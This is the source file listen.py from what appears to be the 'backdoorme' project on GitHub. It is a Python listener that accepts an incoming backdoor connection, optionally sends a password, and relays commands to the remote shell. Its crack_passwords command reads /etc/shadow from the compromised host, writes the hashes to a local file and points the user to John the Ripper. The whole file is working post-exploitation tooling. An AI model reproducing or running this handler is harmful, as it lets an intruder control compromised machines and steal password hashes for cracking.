-
Notifications
You must be signed in to change notification settings - Fork 152
/
listen.py
83 lines (74 loc) · 2.33 KB
/
listen.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import socket
import time
import sys
import os
import cmd
import pexpect
#First argument - port
#Second argument - password
#third - if it has a prompt or not, defaults to some (meaning it has a prompt)
class Interpreter(cmd.Cmd):
def __init__(self):
cmd.Cmd.__init__(self)
self.prompt = " ### "
self.bind()
self.initLines = ""
if sys.argv[2] == "none":
if(sys.argv[3] == "some"):
self.initLines = self.sock[0].recv(0x10000) # the lines given from the beginning
else: #The second argument is a password; if the program requires a password.
if(sys.argv[3] == "some"):
self.initLines = self.sock[0].recv(0x10000)
self.sock[0].send(sys.argv[2] + '\n')
time.sleep(.25)
self.initLines += self.sock[0].recv(0x10000)
else:
self.sock[0].send(sys.argv[2] + '\n')
time.sleep(.25)
self.initLines += self.sock[0].recv(0x10000)
print("Connection Received.")
def bind(self): #set up a connection
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port = sys.argv[1]
self.s.bind(("0.0.0.0", int(self.port)))
self.s.listen(5)
self.sock = self.s.accept()
time.sleep(.25)
def cmdloop(self):
try:
cmd.Cmd.cmdloop(self)
except KeyboardInterrupt:
print("\n" + "Disconnect your shell using Ctrl+]")
self.cmdloop()
#call this to print, but not include lines that were there in initialization
def specialPrint(self, lines):
lines = lines.split('\n')[:-1] #remove last line, the prompt
if(sys.argv[3] == "some"):
lines = lines[1:]#remove first line, which is our command
for line in lines:
print(line)
def do_root(self): #to get root in case we haven't gotten it yet, just will run a few commands using the password given.
pass
#override
def emptyline(self):
pass
def do_crack_passwords(self, args):
self.sock[0].send("cat /etc/shadow\n")
time.sleep(.25)
crackString = self.sock[0].recv(0x10000)
tfile = open("passwords.txt", "w")
tfile.write(crackString)
tfile.close()
print("Type \'john --show passwords.txt\' in a new terminal in the backdoorme directory.")
#override
def default(self, line):
try:
self.sock[0].send(line + '\n')
time.sleep(.25) #fix this to make it dynamic
self.specialPrint(self.sock[0].recv(0x10000))
except Exception as e:
print(e.__class__, ":", e)
def main():
Interpreter().cmdloop()
if __name__ == "__main__":
main()